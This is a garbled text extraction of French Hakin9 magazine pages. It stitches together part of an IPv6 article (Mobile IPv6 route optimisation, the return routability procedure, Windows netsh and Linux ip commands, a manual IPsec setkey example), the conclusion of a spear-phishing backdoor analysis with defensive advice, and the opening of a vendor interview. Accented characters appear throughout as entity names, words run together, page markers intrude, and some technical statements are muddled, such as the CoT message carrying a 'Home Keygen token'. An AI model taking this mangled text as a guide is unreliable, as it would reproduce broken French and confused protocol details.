Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 17: hakin9_05_2010_FR

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

